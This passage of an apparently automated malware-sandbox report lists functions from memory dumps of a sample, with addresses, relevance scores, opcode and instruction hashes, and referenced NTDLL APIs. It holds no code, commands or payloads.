Opcode Fuzzy Hash: 0e9dc6dfe914d8a66efb346109658a6a33d0c26cbed0e592b0d76efa7f2a7c60
Instruction Fuzzy Hash: 75321871A00609DFDF24CF69C888A9DBBB2FF54314F24C629E426AB655D730ED85CB84

Function 05440B1E Relevance: 1.6, APIs: 1, Instructions: 64
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05440B6C

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ebdbdc8b56516b499e15c8014d03a2053db8ada7813778d71d97ff7a943ac88e
Instruction ID: 6ac2eb192760ff38de8dc735fd746065d41415cb0582f7e1d5c21190a42ef7e4
Opcode Fuzzy Hash: ebdbdc8b56516b499e15c8014d03a2053db8ada7813778d71d97ff7a943ac88e
Instruction Fuzzy Hash: 272117307105148FDB15EB68C56D7AE33F3AB88349F2044AAD40AAB3A5DF75DD42CB91

Function 05440A6A Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05440A89

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7b8343addb9da0e4518b5b970fa11f6e7d119e58c126804c5ecb6d555a8aecce
Instruction ID: e995812778fc7b84229cfec12ee6cf42e0a7d32e06f9c2636d691ac6d558c2f8
Opcode Fuzzy Hash: 7b8343addb9da0e4518b5b970fa11f6e7d119e58c126804c5ecb6d555a8aecce
Instruction Fuzzy Hash: 08E03936941425DFDB15DB98EA08AEDB731FBA4311B018122D64A2B2408B30A8A2CFC2

Function 00C9AA78 Relevance: 1.5, Strings: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q, xrefs: 00C9AAA9

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 18000191822b4916bd6e5dd94237979776d53de714dc2671208760ecc966bd24
Instruction ID: 0c25e1c17eaf861e2f14435b4bbdeed0108329efeb7aa63ee0ea201bf2f855ab
Opcode Fuzzy Hash: 18000191822b4916bd6e5dd94237979776d53de714dc2671208760ecc966bd24
Instruction Fuzzy Hash: 56A1C474B053568FCB02DB74D4B85AE7BB2EF9A314B14819AC445CB396DB389C07CB92

Function 05440A7C Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05440A89

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: dbee8bff9470a6651e1a6f894ece02fe646dcf521c240aced552ac7cc2d64a50
Instruction ID: 905ce17b0275868ac372be0672ea8e3ea2906fb2fa195732292784dd70acd07d
Opcode Fuzzy Hash: dbee8bff9470a6651e1a6f894ece02fe646dcf521c240aced552ac7cc2d64a50
Instruction Fuzzy Hash: FAE04F36941524DBDB04CB88EE586F8B331FB90312F018126D64A67550CB30A8A2CF80

Function 00C98644 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C, xrefs: 00C9878F

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1104475367
Opcode ID: a222dc40ed2e0175f18376152b94c3e9081d0566eefde35e69de9398de6b333d
Instruction ID: f43226476a8859ec28513e230c42d1e27bd19fa8287b614008b7f5620762f5a9
Opcode Fuzzy Hash: a222dc40ed2e0175f18376152b94c3e9081d0566eefde35e69de9398de6b333d
Instruction Fuzzy Hash: 8C419E71E0060A8BCB25DFA9C55469EB7F2BF85300B20856DE416AB355EF70ED4ACB81

Function 00C985ED Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

C, xrefs: 00C9878F

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1104475367
Opcode ID: 1fce3c4f4348a15a5871b7e2e6c8d72bcf2081791f70f368b1c4f75994b297f6
Instruction ID: 70b911e94174c815e6c3578d60058f3d02be83ff9560f9a0549d62295f3cfeaf
Opcode Fuzzy Hash: 1fce3c4f4348a15a5871b7e2e6c8d72bcf2081791f70f368b1c4f75994b297f6
Instruction Fuzzy Hash: 1A41C170E0060A8FCB15DFA9C45456EB7F2BF85300B20856AE415AB356EF70ED4ACB81

Function 00C9860D Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

C, xrefs: 00C9878F

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1104475367
Opcode ID: 57529f78baab30baa063fcfc35291e61e1bc99eb3377795ebb99b654e735d12d
Instruction ID: 33bd8c3c2247837e03c0c7f05163f12bea19a6c9101aac6b6b0ab8a63ba49549
Opcode Fuzzy Hash: 57529f78baab30baa063fcfc35291e61e1bc99eb3377795ebb99b654e735d12d
Instruction Fuzzy Hash: 4241D570A0060A8FCB15DFA9C45456EB7F3BF85304B20856DE405AB345EF70ED4ACB82

Function 00C915A8 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

dLcq, xrefs: 00C915EB

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: a8732d3a1087c4a72024397868c055456b3b606676772a28bddfa2efa4ef4c4f
Instruction ID: d841dff9a8a5521e049a068266df487a306910469e72f59e77d4e2527632747a
Opcode Fuzzy Hash: a8732d3a1087c4a72024397868c055456b3b606676772a28bddfa2efa4ef4c4f
Instruction Fuzzy Hash: F4418475A00205DFCB14DF69C458BADBBF2EF88300F1985A9E402AB361CB759D45CF91

Function 00C9177A Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

d6p, xrefs: 00C91795

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: d6p
API String ID: 0-3180888771
Opcode ID: da820df212f14bc6051c45ce6d4fc0bc01245d3f682029b335712656d5369ce1
Instruction ID: 2f9cbf4608fb5ebe952a7494deb23325184d591b22a57ef2b3d6c79bede93249
Opcode Fuzzy Hash: da820df212f14bc6051c45ce6d4fc0bc01245d3f682029b335712656d5369ce1
Instruction Fuzzy Hash: A4410834B105148FCB44DF69C499A6EBBE6BF88B10B258199E406DB3B6CB75DC018B90

Function 00C91BD1 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00C91C1B

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: e779be14c969ba66efb86b5b9cad29374361e89a195cf5d1894f7138c5876727
Instruction ID: 179d6db4aed3304f1bd6d48e3c8fd5eea89610846d598e52f78d31a93106c18d
Opcode Fuzzy Hash: e779be14c969ba66efb86b5b9cad29374361e89a195cf5d1894f7138c5876727
Instruction Fuzzy Hash: CC21AD74B002168FCB44EB798455A7E7BF2BFC8714B2844A9E50AEB361EE30DD028791

Function 00C9C9F8 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

x$O, xrefs: 00C9CA16

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: x$O
API String ID: 0-2988989789
Opcode ID: 685159762584810436932080c2cd4e10d28862497c6596a6cb5d852ce7b13255
Instruction ID: d3dffeb69a1893f5cc6a75aedd63bb521afe14c6cd9f79f95303ba7e576615b2
Opcode Fuzzy Hash: 685159762584810436932080c2cd4e10d28862497c6596a6cb5d852ce7b13255
Instruction Fuzzy Hash: 25019EB0A003019BEB049F55D89475ABBE6FFC8700F208879E9099F386DBB59C05CBA0

Function 00C9C9F1 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

x$O, xrefs: 00C9CA16

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: x$O
API String ID: 0-2988989789
Opcode ID: ccf5ca469e477f93c52dec278d77ae050965705d27d853f746d457e8104e79a3
Instruction ID: e8f32536c5e180d1fb6ee3f009f251ab874be370f8d7c32cab96d7c4a9cc38d1
Opcode Fuzzy Hash: ccf5ca469e477f93c52dec278d77ae050965705d27d853f746d457e8104e79a3
Instruction Fuzzy Hash: 600192B1A003019FDB089F54E8947597BE2FF88300F60C979E9499F396DBB59C15CBA0

Function 00C91F37 Relevance: .8, Instructions: 786COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 404236016899eb99c3974a6713f2ede9122b2a8c5d0054243a6a55bfe00985de
Instruction ID: e54f6c5c9be86b74dda8fd3d8c0223dca3ed6bb26731b48bd03d7158ddf7683d
Opcode Fuzzy Hash: 404236016899eb99c3974a6713f2ede9122b2a8c5d0054243a6a55bfe00985de
Instruction Fuzzy Hash: A3729A75A00219CFDB54EFA4C8647EE7BB6AF88700F1080E9D24A6B2A4DF345E95CF51

Function 00C91F48 Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46c63c1a0a220639ec0f7aa58d3efd6b9fcbf78fb91465d6db214bdaee35f20
Instruction ID: e5c06238a5d8c178e6a2580c3d2205b978d681536ef438e74961797045012725
Opcode Fuzzy Hash: b46c63c1a0a220639ec0f7aa58d3efd6b9fcbf78fb91465d6db214bdaee35f20
Instruction Fuzzy Hash: F0729A75A00219CFDB54EFA4C8647EE7BB6AB88700F1080E9D24A6B3A4DF345E95CF51

Function 00C95AA4 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878a7a3dc1c8864437029cd60244dcc36dc238e8e49a96fac205925ba5ea4ec5
Instruction ID: 6b0740a1e1241d45036fe23a65edc4a5436321ce3998487204720cd73d175906
Opcode Fuzzy Hash: 878a7a3dc1c8864437029cd60244dcc36dc238e8e49a96fac205925ba5ea4ec5
Instruction Fuzzy Hash: 98B15D71E00609CFDF11CFA9C9897DDBBF2AF88304F248129D819A7294EB749946CF91

Function 00C96373 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b74a881cf5b73e62fd43c4d8c36cb0681ba65b85909232d4726b042c702cada
Instruction ID: c8454a677d5f42b7fb57d8ba238c89e5dc4e1f95113a87baa70038fffcc48544
Opcode Fuzzy Hash: 0b74a881cf5b73e62fd43c4d8c36cb0681ba65b85909232d4726b042c702cada
Instruction Fuzzy Hash: 8BA14F70E00219CFDF10CFA8D9897DDBBF1AF88714F248129E819E7294EB749956CB91

Function 00C9D578 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68a1c2402c19fb10b1496d3da5d96ac8f8954daf7ea5c6ebb188fb2df19534f
Instruction ID: 96dc683092fc785d93181682d845b20243531b97f7942fe47357d6936c57500a
Opcode Fuzzy Hash: b68a1c2402c19fb10b1496d3da5d96ac8f8954daf7ea5c6ebb188fb2df19534f
Instruction Fuzzy Hash: 8F61BE71B00211AFDB14DF78C444A6DBBF2AF88314F24C169D41AAB395DB32ED42CB91

Function 00C960F0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d4ab7debadb2b8e6f975813ce9fad3b657caf39518e959dd9f9a38a74a0717
Instruction ID: 96b2d9db22dc9dbc7d7cf357157cbf413ede9543715ba14da8472c74fb76d5b8
Opcode Fuzzy Hash: 18d4ab7debadb2b8e6f975813ce9fad3b657caf39518e959dd9f9a38a74a0717
Instruction Fuzzy Hash: 09716DB0E00609DFDF14CFA9C9897DEBBF2BF88314F148029E415A7294EB749942CB91

Function 00C960E8 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103a45de3cd69620ac71bda65b833255efd03cd27f48ea8a1d09bb36b1565925
Instruction ID: 7e54dcab5b00aafb88682c24e22e1a664dc44211d54707a2813a1ed5b2ee40ab
Opcode Fuzzy Hash: 103a45de3cd69620ac71bda65b833255efd03cd27f48ea8a1d09bb36b1565925
Instruction Fuzzy Hash: 2E717CB0E00649CFDF14CFA9C9897DEBBF2BF88304F148029E419A7294DB749942CB91

Function 00C97E15 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc4344e2b2cd1eb31935790a61aa8f62372aa7f065359c1ce59495130add6c8
Instruction ID: e568ee78467b220b6ad199340c713653307c95f88812e9f69c38e1d571dc647a
Opcode Fuzzy Hash: ccc4344e2b2cd1eb31935790a61aa8f62372aa7f065359c1ce59495130add6c8
Instruction Fuzzy Hash: 4B61C634B5420ACBDB48EBB0E4AC97E77B3FB843447608965D416973A8DE389C46DF81

Function 00C97E20 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caf1f788619f27bb3c053c56de93025ba16b8076d17e42b326972b385965a1a2
Instruction ID: 6b9aa72dd19f094e7a481cf684f77fc55af608ea4b99182914886b771181183b
Opcode Fuzzy Hash: caf1f788619f27bb3c053c56de93025ba16b8076d17e42b326972b385965a1a2
Instruction Fuzzy Hash: 8161B734B5420ACBDB48EBB0E46C97E77B3FB843447608964D416973A8DE389C46DF81

Function 00C97E50 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f738a1305c0c7850b3f1b2af3db7b7b207f1a1cc4ccc9b1798e01fdd22090ab
Instruction ID: 17995300878439a5182486d24c9d184b5a1dfaae60323f9d8e57f1ae54361f54
Opcode Fuzzy Hash: 2f738a1305c0c7850b3f1b2af3db7b7b207f1a1cc4ccc9b1798e01fdd22090ab
Instruction Fuzzy Hash: D551A534B5460ACBDB48EBB0E8AC97E7773FBC43447608954D816973A8DE389C46DB81

Function 00C97E6D Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbe13c1e0118ea066863d9d500b79f028726768466239193a7ac629ac7ad139
Instruction ID: 3d022893f0cbbd51c82d91f10903f8eba5cebf08e4facee2949d2556c3b3e42e
Opcode Fuzzy Hash: ffbe13c1e0118ea066863d9d500b79f028726768466239193a7ac629ac7ad139
Instruction Fuzzy Hash: 7E51B534B5460ACBDB48EBB0E4AC97E7773FBC43447608964D816973A8DE389C46DB81

Function 00C92F48 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926b50dd6e7c039563a63d7ecbe4ac6ca4a5d19d1c4d41273c896eaa4a5b725e
Instruction ID: 2d9ca899ee575fa0df0674e29da5682367df43b4a3fe03b9a9d721812296f52f
Opcode Fuzzy Hash: 926b50dd6e7c039563a63d7ecbe4ac6ca4a5d19d1c4d41273c896eaa4a5b725e
Instruction Fuzzy Hash: 60519E74B102159FCB05AB79D818B2E7AE7EBCC700F118469E50AEB3A4CF74DC419B91

Function 00C92F46 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7752cfc9330a54cf40978984aa7ae1812ff9ab664057f2a5cb96d7d74d5e506b
Instruction ID: 86131f0d6e6ed1641c192f7468c2391d67fb2d521829fabeb41942b6e147703b
Opcode Fuzzy Hash: 7752cfc9330a54cf40978984aa7ae1812ff9ab664057f2a5cb96d7d74d5e506b
Instruction Fuzzy Hash: 8E518F74B102159FCB05AB78D81876E7AE7EBCC700F258469E50AE73A4CF74DC429B91

Function 00C90ED8 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5caa504517e4ec3ba03e223250a35cab8ffc383787ced3b04d3d21226d95e6f
Instruction ID: 96d7a0645c8efb0ae46e08d2b2f45e87dadda0ded4576940a56cb8aff2d9c01d
Opcode Fuzzy Hash: d5caa504517e4ec3ba03e223250a35cab8ffc383787ced3b04d3d21226d95e6f
Instruction Fuzzy Hash: C651E9781046029FC707EF24E8888597B77FB8434972089E9E8018B269DFB5DD46EFC2

Function 00C97E8A Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b62643c353041e1fa811454e45f872906fd7f84722b293f1b5f5c0213586175
Instruction ID: 3bbce0a704fdea8384be8f1a7e5e9e6b2797f0dd8b276615a13fc4b484bf5185
Opcode Fuzzy Hash: 2b62643c353041e1fa811454e45f872906fd7f84722b293f1b5f5c0213586175
Instruction Fuzzy Hash: 4451D434B5460ACBDB48EBB0E4AC97E7773FBC43447208964D816973A8DE389C46DB81

Function 00C9EEB8 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bab0d604140b06e90344ba6790865da2ef9de32837a3a0a3c1c39c0289694f35
Instruction ID: fb7b1522362d0c5a07695607d1279077c783fc12cb5b6a532584d11d733e118f
Opcode Fuzzy Hash: bab0d604140b06e90344ba6790865da2ef9de32837a3a0a3c1c39c0289694f35
Instruction Fuzzy Hash: CC414E71A00219DFCF04DFA4D9995ADB7B2FF88300B248569E809AB356DB71AD06CB90

Function 00C9E0F0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99016012689238f36ca2c14fa122b7c4258b05be7f257695d6dedc0944226c9
Instruction ID: 73c8beefb63c0d631869e42f4922ae070531dbfaf95dd1b9ac6d5f2652312e78
Opcode Fuzzy Hash: c99016012689238f36ca2c14fa122b7c4258b05be7f257695d6dedc0944226c9
Instruction Fuzzy Hash: 7A510D74B002068FCB14DF68D5A9AADBBF2FF88304B208569E80AD7355DB75AD42CB50

Function 00C97EA7 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1930557a6443a479d023aef594d2d76cc546bbed0e7d380a94208f0d686f6014
Instruction ID: b1d5b925759a5cc7b5364c88814995975fd193400098cdb78deea2d32d5df2f4
Opcode Fuzzy Hash: 1930557a6443a479d023aef594d2d76cc546bbed0e7d380a94208f0d686f6014
Instruction Fuzzy Hash: BF51D534B5460ACBDB48EBB0E5AC97E7773FBC43447208964D816973A8DE389C46DB81

Function 00C9DF19 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ae2b840f79ca97efeffcb74ced7e0e421553b0c00c0b8ffcc6a6acec86daf5
Instruction ID: 6e7caef30a4d53e7215979dffc246149a3aef44bc38b71133b8071766a977130
Opcode Fuzzy Hash: 68ae2b840f79ca97efeffcb74ced7e0e421553b0c00c0b8ffcc6a6acec86daf5
Instruction Fuzzy Hash: 91415C34B4050A9FCF44FBB4E4A866E73B3BBD8244B504669D40AD7389EF349D069BD2

Function 00C97ECE Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f75bda48fd305d50a8ba59b7b1b8bf221bf588c26ce0df1ad561f5f29af0b5
Instruction ID: d8623be5d1145874835174db438daa5a6c0e32a2cac22f996114dae457c226af
Opcode Fuzzy Hash: a0f75bda48fd305d50a8ba59b7b1b8bf221bf588c26ce0df1ad561f5f29af0b5
Instruction Fuzzy Hash: 6551C634B5460ACBDB48EBB0E4AC97E7773FBC43447608964D816973A8DE389C46DB81

Function 00C97EEB Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57e892389954471cfe96cc326bff5b8e266077545fc01ad9f3828e5027e314b1
Instruction ID: c250012c0221790ac85881c5d5aa0d03112228ea3dfe1b80b6b08933ba810b49
Opcode Fuzzy Hash: 57e892389954471cfe96cc326bff5b8e266077545fc01ad9f3828e5027e314b1
Instruction Fuzzy Hash: F741E734B5420ACBCB48EBB0E4AC97E7773FBC43447208954D816973A8DE389C46DB81

Function 00C9E788 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80664b0fd987b659e4ec21a72ecbb6a47f1fb7b3dae03f8567a7a70481f106dc
Instruction ID: 80847f650aeff34c98a518b64f42acb1292c7dc1f5a062740609dd7f4a474575
Opcode Fuzzy Hash: 80664b0fd987b659e4ec21a72ecbb6a47f1fb7b3dae03f8567a7a70481f106dc
Instruction Fuzzy Hash: 98419E30B002129FCF04EB69E5686ADB7F3EF98704B148569E40AD7345DF34DD428B91

Function 00C9AEA8 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5b5934476c9abd12ae761d8e1bded2c048ad47d43d317940c2f18ff252e727
Instruction ID: d318cf8f8696d3c2de44b752801e381ecddad88f5091f2aec96115b0f2d367f9
Opcode Fuzzy Hash: 5c5b5934476c9abd12ae761d8e1bded2c048ad47d43d317940c2f18ff252e727
Instruction Fuzzy Hash: 4C410BB4F002069FCB14DFA9D5989ADBBF2FF88315B108569E80AD7350DB34AD42CB91

Function 00C97F08 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

